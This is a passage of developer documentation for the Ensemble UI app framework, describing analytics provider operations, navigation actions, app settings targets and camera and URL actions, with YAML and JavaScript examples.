disabled. | None | +| disableAdIdTracking | Disables advertising ID tracking. | None | +| logout | Invalidates current user session and creates new one. | None | +| deleteUser | Deletes current user data from MoEngage (Android only). Returns UserDeletionData. | None | + +### Examples + +#### Track Event +```yaml +logEvent: + provider: moengage + operation: trackEvent + name: "level_complete" + parameters: + level: 5 + score: 1000 +``` + +#### Set User Profile +```yaml +logEvent: + provider: moengage + operation: setUserName + value: "John Smith" + onSuccess: | + //@code + console.log("User name updated") +``` + +#### Show In-App Message +```yaml +logEvent: + provider: moengage + operation: showInApp +``` + +## Adobe Analytics Provider + +Adobe Analytics provider enables comprehensive analytics tracking, user identity management, consent management, and user profile management. + +### Core Operations + +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| trackAction | Tracks user interactions and events. | name (String), parameters (Object with event details) | +| trackState | Tracks page views and screen states. | name (String), parameters (Object with state details) | +| sendEvent | Sends an Experience event to Adobe Experience Platform Edge Network. | name (String), parameters (Object with xdmData) | + +### Identity Management Operations + +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| getExperienceCloudId | Retrieves the Experience Cloud ID (ECID). | None | +| getUrlVariables | Returns the identifiers in a URL's query parameters for consumption in hybrid mobile applications. | None | +| getIdentities | Gets all identities in the Identity for Edge Network extension. | None | +| updateIdentities | Updates the currently known identities within the SDK. | parameters (Object with identities) | +| removeIdentity | Removes the identity from the stored client-side IdentityMap. | parameters (Object with item and namespace) | +| resetIdentities | Clears all identities stored in the Identity extension and generates a new Experience Cloud ID (ECID). | None | +| setAdvertisingIdentifier | Sets or removes the advertising identifier in the XDM Identity Map. | parameters (Object with advertisingIdentifier) | + +### Consent Management Operations + +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| getConsents | Retrieves current consent preferences. | None | +| updateConsent | Merges existing consents with given consents. | parameters (Object with allowed boolean) | +| setDefaultConsent | Sets default consent for the SDK. | parameters (Object with allowed boolean) | + +### User Profile Operations + +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| getUserAttributes | Gets user profile attributes matching provided keys. | parameters (Object with attributes array) | +| updateUserAttributes | Sets multiple user profile attributes. | parameters (Object with attributeMap) | +| removeUserAttributes | Removes user profile attributes matching provided keys. | parameters (Object with attributes array) | + +### Adobe Assurance Operations + +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| setupAssurance | Configures Adobe Assurance for debugging. | parameters (Object with url) | + +For detailed examples of Adobe Analytics operations, see the [Adobe Analytics documentation](../adobe-analytics.mdx). + +--- + +# Action: navigateBack + +The `navigateBack` action allows users to navigate back to the previous screen within the app’s navigation stack. It removes the current screen from the navigation history, so when the user navigates back, the previous screen reappears. This action is also useful when working with modal screens, as it closes the modal and returns the user to the originating screen. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | +| data | object | Data object to send back to the previous screen. This allows you to pass information back when navigating back. | + +--- + +## Example: Navigating Back + +In this example, we use the `navigateScreen` action to navigate to another screen, and then use the `navigateBack` action to return to the originating screen. The `data` is used to send data back to the previous screen when navigating back. + +### Originating Screen + +```yaml +View: + styles: + scrollableView: true + body: + Column: + styles: + padding: 24 + children: + - Button: + label: Go to demo screen + onTap: + navigateScreen: + name: navigateBack Demo + onNavigateBack: + showToast: + message: ${event.data} +``` + +### Target Screen + +```yaml +View: + styles: + scrollableView: true + body: + Column: + styles: + padding: 24 + children: + - Button: + label: Go Back + onTap: + navigateBack: + data: + message: This is example of data passed when navigating back. + +``` +### Explanation + +1. **Navigate to Another Screen:** + First, the user clicks the "Go to demo screen" button, which triggers the `navigateScreen` action, navigating to a new screen called `navigateBack Demo`. + + ```yaml + - Button: + label: Go to demo screen + onTap: + navigateScreen: + name: navigateBack Demo + onNavigateBack: + showToast: + message: ${event.data} + ``` + +2. **Trigger `navigateBack` on the Target Screen:** + On the demo screen, there’s a button with the label "Go Back." When this button is pressed, the `navigateBack` action is triggered, sending a data containing a message back to the previous screen: + ```yaml + - Button: + label: Go Back + onTap: + navigateBack: + data: + message: This is example of data passed when navigating back. + ``` + +3. **Access the data on the Originating Screen:** + When the user navigates back using the `navigateBack` action, the `onNavigateBack` event is triggered on the source screen. This event gives you access to the data sent during the `navigateBack` action via `event.data`. You can then use this data to perform actions, such as displaying a message with `showToast` or updating other UI elements on the source screen. + + ```yaml + - Button: + label: Go to demo screen + onTap: + navigateScreen: + name: navigateBack Demo + onNavigateBack: + showToast: + message: ${event.data} + ``` + +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XjvL2XseLnRvYO4FS82e) + +--- + +# navigateModalScreen + +navigateModalScreen action enables users to open a specific screen or page as a modal overlay, creating a temporary and focused view to capture user input or display additional content without losing context of the main app flow. + +### Properties + +| Property | Type | Description | +| :------------- | :----- | :------------------------------------------------------- | +| name | string | Enter the Name or ID of your screen | +| inputs | object | Specify the key/value pairs to pass into the next Screen | +| onModalDismiss | action | Execute an Action when the modal screen is dismissed | + +#### properties-options + +| Property | Type | Description | +| :------- | :--- | :---------- | +| closeToasts | boolean | Determines whether toasts (temporary messages) should be closed automatically. Default is `true`. | + +**Note:** To close the modal from within the modal screen, just call the [navigateBack](7-navigateBack.md) action + +**Example** + + + +```yaml +View: + title: "Action: navigateModalScreen" + styles: + scrollableView: true + + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: You can open new screen on above the main screen using action `navigateModalScreen` + - Button: + label: Show Modal + onTap: + navigateModalScreen: + name: Actions & events + - Markdown: + text: You can navigateModalScreen from code blocks using `ensemble.navigateModalScreen('ScreenName');`. + - Button: + label: Show Modal Using Code + onTap: + executeCode: + body: | + //@code + + // no inputs + ensemble.navigateModalScreen('Actions & events'); + //with inputs + //ensemble.navigateModalScreen({name: 'Actions & events',inputs:{input1: 'abc', input2: 'ced'}} ); +``` + + + +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/67ICgJIX0McKswXCybb0?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# navigateScreen + +navigateScreen action allows users to transition to a specific screen or page within the app, facilitating seamless navigation and enhancing user interaction with different sections of the application. + +Like any other action, navigateScreen may be called in YAML or in the JS code. + +### Properties + +| Property | Type | Description | +| :------------- | :----- | :-------------------------------------------------------------------------------------- | +| name | string | Enter the Name or ID of your Screen | +| inputs | object | Specify the key/value pairs to pass into the next Screen | +| options | object | [see properties](#properties-options) | +| onNavigateBack | action | triggers when users returns back to a screen it previously visited using navigateScreen | +| transition | Map | [Screen transition](#screen-transition) , [Screen transition example](#screen-transition-example) + +#### Screen Transition +Animate screen transition from one to another. + +| Property | Type | Description | +| :--- | :--- | :---| +| type | string | [transition type](#transition-type) +| alignment | string | [transition alignment](#transition-alignment) +| duration | integer| duration of transition in millisecond + +#### transition-type +| name | +| :--- | +|fade | +|rightToLeft | +|leftToRight | +|topToBottom | +|bottomToTop | +|scale | +|rotate | +|size | +|rightToLeftWithFade | +|leftToRightWithFade | +|leftToRightPop | +|rightToLeftPop | +|topToBottomPop | +|bottomToTopPop | + +#### transition-alignment +|name| +|:---| +|topLeft| +|topCenter| +|topRight| +|centerLeft| +|center| +|centerRight| +|bottomLeft| +|bottomCenter| +|bottomRight| + +#### properties-options + +| Property | Type | Description | +| :------------------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| replaceCurrentScreen | boolean | If true, the new screen will replace the current screen on the navigation history. Navigating back from the new screen will skip the current screen. | +| clearAllScreens | boolean | If true, clear out all existing screens in the navigation history. This is useful when navigating to a Logout or similar page where users should not be able to go back to the prior screens. | +| closeToasts | boolean | Determines whether toasts (temporary messages) should be closed automatically. Default is `true`. | + +**Example: Calling navigateScreen - Detailed Examples for YAML and JS** + + + +```yaml +View: + title: "Action: navigateScreen" + styles: + scrollableView: true + + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: You can navigate to another screen using action `navigateScreen` + - Button: + label: Navigate to Home + onTap: + navigateScreen: + name: Home + + - Markdown: + text: You can navigateScreen from code blocks using `ensemble.navigateScreen('ScreenName');`. + - Button: + label: Navigate to Home using code + onTap: + executeCode: + body: | + //@code + ensemble.navigateScreen('Home'); + + - Divider + + - Markdown: + text: | + #### Pass inputs + You have the option of passing inputs to the target screen. + + - TextInput: + id: messageInput + label: Message to pass + value: Hello there + + - Button: + label: Navigate and pass inputs + onTap: + navigateScreen: + name: "Action: navigateScreen inputs demo" + inputs: + message: ${messageInput.value} + + - Button: + label: Navigate and pass inputs using code + onTap: + executeCode: + body: | + //@code + ensemble.navigateScreen({ + "name": "Action: navigateScreen inputs demo", + "inputs": { + "message": messageInput.value + } + }); + + - Divider + + - Markdown: + text: | + #### options: clearAllScreens + By default, Ensemble retains your previous screens. On browser, user can press back button and get the previous view. + + When you need to remove all the previous screens from the history stack, as in a logout scenario, use `clearAllScreens: true`. + + - Button: + label: Navigate and clear all screen history + onTap: + navigateScreen: + name: Home + options: + clearAllScreens: true + + - Divider + + - Markdown: + text: | + #### options: replaceCurrentScreen + Sometimes when navigating to a new screen, you may not want the user to go back to the current screen. An example is after logging in, hitting back should not take the user back to the login screen. Use the flag `replaceCurrentScreen: true` to remove the current screen from the history stack. + + - Button: + label: Navigate to new screen and replace the current screen + onTap: + navigateScreen: + name: Home + options: + replaceCurrentScreen: true +``` + + + +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kgGUzKx0YiIWp96auaEO?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +**Example: Calling navigateScreen in Javascript** + +```javascript +//navigating to a screen without any options +ensemble.navigateScreen('My Screen'); +//navigating to a screen with options +ensemble.navigateScreen({name: 'My Screen',options: {replaceCurrentScreen: true}} +``` + +### onNavigateBack + +We can also make use of onNavigateBack in our navigateScreen action to achieve certain goals like calling an API when returning to screen, updating something which was modified on visited screen etc. + +**Example** +Below is only a snippet from a use case where we can perform any action inside the onNavigateBack event. We can call an API or update any particular parameter we want + +```yaml +navigateScreen: + name: "${booking.completion_status == 'confirmed' ? 'ConfirmedTrip' : 'ConfirmTripRequest'}" + inputs: + booking: ${booking} + onNavigateBack: |- + ensemble.debug("got back") +``` + +Another example where using in context of a button we are updating certain local storage items inside the context of the onNavigateBack + +```yaml +- Button: + label: Categories + styles: + outline: true + padding: 0 + labelStyle: + fontSize: 12 + color: 4288060321 + endingIcon: + name: chevron_right + color: 4288060321 + size: 16 + onTap: null + navigateScreen: + name: Spending + onNavigateBack: |- + //@code + getCategoriesAggregate(ensemble.storage.timeSpan); + +``` + +Note: here we are chaining actions onTap -> navigateScreen -> onNavigateBack etc. Also getCategories(...) is a function used to update certain local storage items. + +- We can also pass data from the visited screen to current screen using navigateBack action. let see an example for that as well. + +```yaml +View: + header: + title: Home + body: + Button: + label: Checkout Ensemble Kitchen Sink + onTap: + navigateBack: + data: # optional, can be simple or complex + var1: 1 + var2: "s t r i n g" +``` + +on visited screen using navigateBack we pass certain variables which can be accessed on previous screen using onNavigateBack event. + +```yaml +View: + header: + title: Home + body: + Button: + label: Checkout Ensemble Kitchen Sink + onTap: + navigateScreen: + name: nextScreen + onNavigateBack: |- + //@code + console.log("navigated back to main screen"); + console.log(event.data); +``` + +#### Screen Transition Example + +```yaml +View: + header: + title: Screen Transition + + body: + Button: + label: Navigate transition + onTap: + navigateScreen: + name: + transition: + type: rotate + duration: 1000 + alignment: center +``` + +--- + +# navigateViewGroup + +navigateViewGroup action allows users to navigate between menu items while maintaining the menu in place. This simulate the experience when user taps on different nav items. + +To use this action, first create your [ViewGroup](#view-group). + +### Properties + +| Property | Type | Description | +| :------------- | :------ | :-------------------------------------------------------------------------------------- | +| viewIndex | integer | The index of the menu item to navigate to, starting from 0 | +| name | string | The name of the ViewGroup. This is the name given to the screen when it was created. If the current screen is part of the ViewGroup, name is not required. | + + +### Example + + +Given the following ViewGroup, named `home`: + +```yaml +ViewGroup: + BottomNavBar: + items: + - label: Screen1 + icon: + name: home + page: NavigateViewGroupScreen1 + - label: Screen2 + icon: + name: input + page: NavigateViewGroupScreen2 + - label: Screen3 + icon: + name: settings + page: NavigateViewGroupScreen3 + +``` + +Use the `navigateViewGroup` action to nvaigate between the tabs without dismissing the menu. + + +```yaml +View: + styles: + scrollableView: true + backgroundColor: 0xFFA2728D + + header: + title: Screen 2 + styles: + backgroundColor: 0xFFA2728D + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Button: + label: Go to NavigateViewGroupScreen1 + onTap: + navigateViewGroup: + name: home + viewIndex: 0 + + - Button: + label: Go to NavigateViewGroupScreen3 + onTap: + navigateViewGroup: + name: home + viewIndex: 2 +``` + + +This action will ensure that the menu renders when you navigate to the target screen. In contrast, using `navigateScreen` action will result in only displaying the new screen without the menu. + +--- + +# notification + +notifications action provides a comprehensive and customizable solution for managing notifications within the app, including handling incoming notifications, displaying them to users, and implementing notification-related functionalities, enhancing user experience and interaction with timely updates and alerts. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :-------------------------------------------- | +| onTap | action | Execute an Action on notification is tap. | +| onReceive | action | Execute an Action on notification is receive. | + +--- + +## onNavigateBack + +--- + +# Action: onViewGroupResume + +The `onViewGroupResume` action allows users to execute actions when navigate back to the viewGroup within the app’s navigation stack. when the user navigates back, the ViewGroup reappears and action specified under `onViewGroupResume` is executed. This action is useful when working with all type of menus. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | +| Action | ensemble action | Any ensemble action that'll be executed when navigating back to ViewGroup. Such as `executeCode`, `showDialog`, `showToast` etc. | + + +## Example: onViewGroupResume + +In this example, we use the `navigateScreen` action to navigate to another screen, and then use the `onViewGroupResume` action to execute any user specified action while returning to screen. + +### Originating Screen + +```yaml +ViewGroup: + onViewGroupResume: + showDialog: + body: + Text: + text: onViewGroupResume executed + BottomNavBar: + items: + - label: Screen1 + icon: + name: home + page: onViewGroupResume1 + - label: Screen2 + icon: + name: input + page: onViewGroupResume2 + - label: Screen3 + icon: + name: settings + page: onViewGroupResume3 + +``` + +### Pushed Screen + +```yaml +View: + styles: + useSafeArea: true + header: + titleText: Overlay + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: This is overlay screen + + - Button: + label: Tap to Navigate Back to ViewGroup + onTap: + navigateBack: +``` +### Explanation + +1. **Navigate to Another Screen:** + First, the user clicks the "Go to another screen" button, which triggers the `navigateScreen` action, navigating to a new screen called `overlay`. + + ```yaml + - Button: + label: Go to another screen + onTap: + navigateScreen: + name: overlay + ``` + +2. **Trigger `onViewGroupResume` on the ViewGroup screen:** + On the overlay screen, there’s a button with the label "Go Back." When this button is pressed, the `onViewGroupResume` action is triggered, executing any action provided on ViewGroup screen: + ```yaml + - Button: + label: Tap to Navigate Back to ViewGroup + onTap: + navigateBack: + ``` + + +You can try complete example [here](https://studio.ensembleui.com/app/2Mc1NI4RQlrEH23sU288/screens) + +--- + +# Action: onViewGroupUpdate + +The `onViewGroupUpdate` action allows users to execute actions when update to the ViewGroup occurs. This action is useful when working with all type of menus. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | +| Action | ensemble action | Any ensemble action that'll be executed when there's update in ViewGroup. Such as `executeCode`, `showDialog`, `showToast` etc. | + + +## Example: onViewGroupUpdate + +In this example, we use the `onViewGroupUpdate` action to execute when viewGroup is updated. + +### ViewGroup + +```yaml +ViewGroup: + BottomNavBar: + items: + - label: Screen1 + icon: + name: home + page: onViewGroupupdate1 + - label: Screen2 + icon: + name: input + page: onViewGroupUpdate2 + - label: Screen3 + icon: + name: settings + page: onViewGroupUpdate3 + +``` + +### Action execution View + +```yaml +View: + onViewGroupUpdate: + showDialog: + body: + Text: text + styles: + useSafeArea: true + header: + titleText: Overlay + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: This is overlay screen + + - Button: + label: Tap to Navigate Back to ViewGroup + onTap: + navigateBack: +``` +### Explanation + +1. **ViewGroup update:** + First, the user clicks the any menu button, which triggers the `onViewGroupUpdate` action, navigating to selected screen. + + +2. **Trigger `onViewGroupUpdate` on the View screen:** + On the selected screen, the action specified is triggered automatically. Executing the action specified under `onViewGroupUpdate`. + + +You can try complete example [here](https://studio.ensembleui.com/app/2Mc1NI4RQlrEH23sU288/screens) + +--- + +# openAppSettings + +Applicable on iOS/Android only. Opens the app settings page where the user can manage app permissions and settings. If `target` (optional) is provided and supported on the current running platform, it will open the specific setting page, otherwise the "Settings" screen will be opened. + +**Inputs**: + +`target (optional)`: the specific setting screen (see below) to open. Defaults to "settings" if not specified. + +### Properties + +| Target | Supported Platforms | Description | +| -------------------------------- | ------------------- | ------------------------------------------------------------- | +| settings | Android, iOS | Open the main settings page | +| accessibility | Android, iOS | Open the accessibility settings | +| bluetooth | Android, iOS | Open the Bluetooth settings | +| date | Android, iOS | Open the date and time settings | +| display | Android, iOS | Open the display settings | +| location | Android, iOS | Open the location settings | +| sound | Android, iOS | Open the sound/audio settings | +| wifi | Android, iOS | Open the WiFi settings | +| security | Android, iOS | Open the security settings | +| hotspot | Android, iOS | Open the personal hotspot settings | +| appSettings | Android, iOS | Open the app-specific settings | +| notification | Android, iOS 16+ | Open the notification settings | +| apn | Android | Open the APN (Access Point Name) settings | +| batteryOptimization | Android | Open the Battery Optimization settings | +| dataRoaming | Android | Open the Data Roaming settings | +| developer | Android | Open the Developer options | +| device | Android | Open the device information settings | +| internalStorage | Android | Open the internal storage settings | +| lockAndPassword | Android | Open the lock screen and password settings | +| nfc | Android | Open the NFC settings | +| memoryCard | Android | Open the memory card settings | +| addAccount | Android | Open the add account screen | +| airplaneMode | Android | Open the airplane mode settings | +| applicationDetails | Android | Open the application details screen | +| applicationNotification | Android | Open the application notification settings | +| applicationSettings | Android | Open the application settings | +| applicationWriteSettings | Android | Open the application write settings | +| batterySaver | Android | Open the battery saver settings | +| captioning | Android | Open the captioning settings | +| cast | Android | Open the cast settings | +| dataUsage | Android | Open the data usage settings | +| appNotificationBubble | Android | Open the app notification bubble settings | +| appNotification | Android | Open the app notification settings | +| search | Android | Open the search settings | +| biometricEnroll | Android | Open the biometric enrollment screen | +| hardwareKeyboard | Android | Open the hardware keyboard settings | +| home | Android | Open the home screen settings | +| ignoreBackgroundDataRestrictions | Android | Open the background data restriction settings | +| inputMethod | Android | Open the input method settings | +| inputMethodSubtype | Android | Open the input method subtype settings | +| locale | Android | Open the locale settings | +| manageAllApplications | Android | Open the manage all applications screen | +| manageApplication | Android | Open the manage application screen | +| manageDefaultApps | Android | Open the manage default apps screen | +| manageExternalSources | Android | Open the manage external sources screen | +| manageOverlay | Android | Open the manage overlay settings | +| vpn | Android | Open the VPN settings | +| wireless | Android | Open the wireless settings | +| icloud | iOS | Open the iCloud settings | +| privacy | iOS | Open the privacy settings | +| cellular | iOS | Open the cellular settings | +| siri | iOS | Open the Siri settings | +| photos | iOS | Open the photos and camera settings | +| keyboard | iOS | Open the keyboard settings | +| general | iOS | Open the general settings | +| about | iOS | Open the about device screen | +| accountSettings | iOS | Open the account settings | +| autoLock | iOS | Open the auto-lock settings | +| battery | iOS | Open the battery settings | +| dictionary | iOS | Open the dictionary settings | +| facetime | iOS | Open the FaceTime settings | +| healthKit | iOS | Open the HealthKit settings | +| music | iOS | Open the music settings | +| keyboards | iOS | Open the keyboards settings (for managing multiple keyboards) | +| languageAndRegion | iOS | Open the language and region settings | +| phone | iOS | Open the phone settings | +| profilesAndDeviceManagement | iOS | Open the profiles and device management screen | +| softwareUpdate | iOS | Open the software update screen | +| storageAndBackup | iOS | Open the storage and backup settings | +| wallpapers | iOS | Open the wallpapers settings | +| subscriptions | iOS 15+ | Open the subscription settings | + +--- + +# openCamera + +`OpenCamera` action enables users to access their device's camera, capturing images or videos directly from the app, enhancing interactivity and enabling seamless integration of media functionalities within the application. With `id` property we can bind results of camera. Then use the `onComplete` properties to execute other actions after capture or selection is done. + +### Properties + +| Property | Type | Description | +| :--------- | :----- | :--------------------------------------------------------------------------------- | +| id | string | Give the camera an ID, allows you to bind to its result. e.g. ${cameraId.files...} | +| onComplete | action | Execute an Action after completing capturing media | +| onClose | action | Execute an Action on camera close | +| onCapture | action | Execute an Action on each capture | +| options | object | different options to chose for `openCamera` action. [see properties](#) | +| overlayWidget | widget | Custom overlay Widget to display over camera. | +| loadingWidget | widget | Custom widget to show for loading indicator in camera. | + +#### properties.options + +| Property | Type | Description | +| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------- | +| mode | string | Modes of camera. It can be photo only i.e allows to capture just photo. Similarly video or can be both. `photo` `video` `both` | +| initialCamera | string | Initialize either camera, back or front. `back` `front` | +| allowGalleryPicker | boolean | Allow users to pick media from gallery. Default (true). | +| allowCameraRotate | boolean | Allow users rotate camera i.e back and front. Default (true). | +| allowFlashControl | boolean | Allow users to control flash options. Default (true). | +| preview | boolean | If set true, users can view captured/selected media. | +| maxCount | number | It used to control number of media that can be captured/selected | +| maxCountMessage | string | Custom message to show when captured/selected media is greater than maxCount | +| minCount | number | It used to control number of media that can be captured/selected | +| minCountMessage | string | Custom message to show when captured/selected media is greater than minCount | +| permissionDeniedMessage | string | Set custom message when access to camera is denied | +| nextButtonLabel | string | Set custom label on next button. | +| cameraRotateIcon | widget | Set custom icon for camera rotate button. [see here](/pages/widget-reference/Icon.md) | +| galleryPickerIcon | widget | Set custom icon for gallery picker button. [see here](/pages/widget-reference/Icon.md) | +| focusIcon | widget | Set custom icon for focus node. | +| assistAngle | object | Show assist message whenever angle goes below minAngle or above minAngle. [see properties](#values-for-optionsassistangle) | +| assistSpeed | object | Show assist message whenever camera is moving faster than maxSpeed. [see properties](#values-for-optionsassistspeed) | +| autoCaptureInterval | integer | If set any number n, on each n interval camera will capture | +| captureOverlay | boolean | If set picture will be cropped according to overlay widget | +| faceDetection | object | Enable face detection. [see properties](#values-for-optionsfacedetection) | + +##### Values for options.assistAngle + +| Property | Type | Description | +| :------------------------- | :----- | :-------------------------------------------- | +| minAngle | number | Minimum angle | +| maxAngle | number | Maximum Angle | +| maxAngleassistAngleMessage | number | Custom message to show when condition is hit. | + +##### Values for options.assistSpeed + +| Property | Type | Description | +| :----------------- | :----- | :-------------------------------------------- | +| maxSpeed | number | Maximum speed in km/hr. | +| assistSpeedMessage | number | Custom message to show when condition is hit. | + +##### Values for options.faceDetection + +| Property | Type | Description | +| :------------------------ | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------ | +| enabled | boolean | Enable face detection. | +| message | string | use this pass a message above the camera | +| messageStyle | object | style applied to the message widget | +| showControls | boolean | set false to hide all controls | +| showCaptureControl | boolean | set false to hide capture control icon | +| showFlashControl | boolean | set false to hide flash control control icon | +| showCameraLensControl | boolean | set false to hide camera lens control icon | +| indicatorShape | string | use this to change the shape of the face indicator `circle`, `square` | +| autoDisableCaptureControl | boolean | set true to disable capture control widget when no face is detected | +| autoCapture | boolean | set true to capture image on face detected | +| imageResolution | string | use this to set image resolution `low`, `medium`, `high` | +| defaultFlashMode | string | use this to set initial flash mode `off`, `auto`, `always` | +| performanceMode | string | Use this to set your preferred performance mode. `accurate`, `fast` | +| accuracyConfig | object | Use this to set accuracy config for face detection. Accuracy config is only supported on web. [see properties](#values-for-optionsfacedetectionaccuracyconfig) | + +##### Values for options.faceDetection.accuracyConfig + +> [Note] +> Accuracy config is only supported on web. + +| Property | Type | Description | +| :------------------------- | :----- | :--------------------------------------------------------------------------- | +| detectionThreshold | number | Minimum confidence score required to consider a face detection valid. | +| intersectionRatioThreshold | number | Minimum allowed overlap ratio between the detected face and expected region. | +| extraHeightFactor | number | Additional height factor added to the face bounding box. | +| inputSize | number | Size of the input image used for face detection. | +| landmarkRatio | number | Minimum acceptable alignment accuracy for facial landmarks. | +| frameMargin | number | Margin ratio to ensure face is not too close to frame edges. | +| tiltAngleThreshold | number | Maximum allowed tilt angle of the detected face (in degrees). | +| horizontalCenterTolerance | number | Allowed tolerance for how centered the face must be horizontally. | +| earThreshold | number | Minimum Eye Aspect Ratio (EAR) to detect open eyes. | +| minFaceWidthRatio | number | Minimum ratio of face width relative to the frame. | +| maxFaceWidthRatio | number | Maximum ratio of face width relative to the frame. | +| qualityPassThreshold | number | Minimum quality score required for a face to pass detection. | +| yawLowerThreshold | number | Lower bound of acceptable yaw (left-right head rotation) ratio. | +| yawUpperThreshold | number | Upper bound of acceptable yaw (left-right head rotation) ratio. | + + +**Usage Examples** + + + +```yaml +View: + header: + title: "Action: openCamera" + styles: + scrollableView: true + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Open Camera + onTap: + openCamera: + id: cameraId + + options: + mode: photo + + - Conditional: + conditions: + - if: ${cameraId.files.length > 0} + Carousel: + item-template: + data: ${cameraId.files} + name: file + template: + Image: + source: ${file.path} +``` + + + +`openCamera` also comes with options + + + +```yaml +- Button: + label: Camera with options + onTap: + openCamera: + id: cameraId1 + options: + allowGalleryPicker: true + allowCameraRotate: true + allowFlashControl: true + preview: true + maxCount: 2 + mode: photo + +- Conditional: + conditions: + - if: ${cameraId1.files.length > 0} + Carousel: + item-template: + data: ${cameraId1.files} + name: file + template: + Image: + source: ${file.path} +``` + + + +`openCamera` also comes with advance options + +- assistAngle, show message when phone angle goes below min angle or goes beyond max angle. +- assistSpeed, show message when phone goes beyond max speed. +- minCount/maxCount, type is a number and can also be set to `minCount: ${ensemble.storage.xyz}` to get a dynamic value + + + +```yaml +- Button: + label: Camera with advance options. + onTap: + openCamera: + options: + allowGalleryPicker: true + allowCameraRotate: true + allowFlashControl: true + preview: true + + assistAngle: + minAngle: 80 + maxAngle: 100 + assistAngleMessage: Please try to keep angle approx. 90 degree. + + assistSpeed: + maxSpeed: 10 + assistSpeedMessage: Please try to speed below 10 km/hr. +``` + + + +`openCamera` also comes with custom overlay widget + +- captureOverlay, crop image according to overlay widget. +- height/width, required to specify the crop area of widget. + + + +```yaml +- Button: + label: Camera with overlay widget. + onTap: + openCamera: + options: + captureOverlay: true + + loadingWidget: + Progress: + display: circular + id: loading + visible: false + + overlayWidget: + Column: + styles: + height: 170 + width: 260 + children: + - Image: + source: https://i.imgur.com/rEYx444.png +``` + + +You can capture and upload to specified API + + + +```yaml + - Button: + label: Capture and upload + onTap: + openCamera: + id: captureMedia + onComplete: + uploadFiles: + id: uploader + files: ${captureMedia.files} + uploadApi: fileUploadApi + fieldName: files + inputs: + url: + + + - Markdown: + text: ${uploader.body} + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + +You can clear previous camera results while recapturing using `cameraId.clear()` + +```yaml +- Button: + label: Clear Previous Result and Capture + onTap: + executeCode: + body: | + captureLatest.clear() + onComplete: + openCamera: + id: captureLatest +``` + +Capture image on face detected + +```yaml +- Button: + label: Open Camera + onTap: + openCamera: + id: cameraWithFaceDetection + options: + initialCamera: front + faceDetection: + enabled: true + autoCapture: false + performanceMode: accurate + accuracyConfig: # accuracyConfig is only supported on web + detectionThreshold: 0.5 + intersectionRatioThreshold: 0.9 + extraHeightFactor: 0.6 + inputSize: 224 + landmarkRatio: 0.95 + frameMargin: 0.05 + tiltAngleThreshold: 6 + horizontalCenterTolerance: 0.08 + earThreshold: 0.25 + minFaceWidthRatio: 0.18 + maxFaceWidthRatio: 0.82 + qualityPassThreshold: 0.8 + yawLowerThreshold: 0.85 + yawUpperThreshold: 1.15 + message: "Align your face in the square" + messageStyle: + color: "#FF0000" + fontSize: 20 + onCapture: + uploadFiles: + id: uploader + files: ${cameraWithFaceDetection.files[0]} + uploadApi: fileUploadApi + fieldName: file + onComplete: + showDialog: + body: + Column: + children: + - TextInput: + value: ${cameraWithFaceDetection.files[0]} + - Image: + source: ${cameraWithFaceDetection.files[0].path} +``` + + +To learn more about openCamera functionalities, test it out here in [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/USuOaOZApSgzE2uVrqlv) app. + +--- + +# openPlaidLink + +openPlaidLink action allows users to open external URLs or web links directly from the app, facilitating seamless integration with external content and enhancing the user's browsing experience within the application. + +### Properties + +| Property | Type | Description | +| :---------------- | :------ | :-------------------------- | +| linkToken | string | The Plaid Link Token created from /link/token/create endpoint of Plaid. View Plaid's documation [here](https://plaid.com/docs/api/tokens/#linktokencreate). | +| onSuccess | action | This action is triggered when user successfully complete the Plaid Link flow. | +| onEvent | action | This action is triggered when certain events in the Plaid Link flow have occurred, for example, when the user selected an institution. This enables your application to gain further insight into what is going on as the user goes through the Plaid Link flow. | +| onExit | action | This action is triggered when user exits Plaid Link without successfully linking a financial institution, or when an error occurs during Link initialization. | + +--- + +# openUrl + +openUrl action allows users to open external URLs or web links directly from the app, facilitating seamless integration with external content and enhancing the user's browsing experience within the application. + +### Properties + +| Property | Type | Description | +| :---------------- | :------ | :-------------------------- | +| url | string | The URL to open | +| openInExternalApp | boolean | Open URL in an external app | + +**Example** + +1. This one is simple example related to how one can make use of `openUrl` to open given url inside browser or an external browser app in android or ios. + +```yaml +View: + header: + title: "Action: openUrl" + styles: + scrollableView: true + + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Form: + styles: { mainAxis: center } + children: + - TextInput: + id: uri + value: "https://ensembleui.com" + - Row: + styles: { gap: 8 } + children: + - Button: + label: Open Url in place + onTap: + openUrl: + url: ${uri.value} +``` + +You can use `openInExternalApp` property, this will open the url in the right app based on the url scheme in native apps. For browser, it doesn't matter + +```yaml +- Button: + label: Open Url in external app + onTap: + openUrl: + url: ${uri.value} + openInExternalApp: true +``` + +2. In this example we will open the default email app depending on the device or OS like on Windows its `Mail`. + +```yaml + - 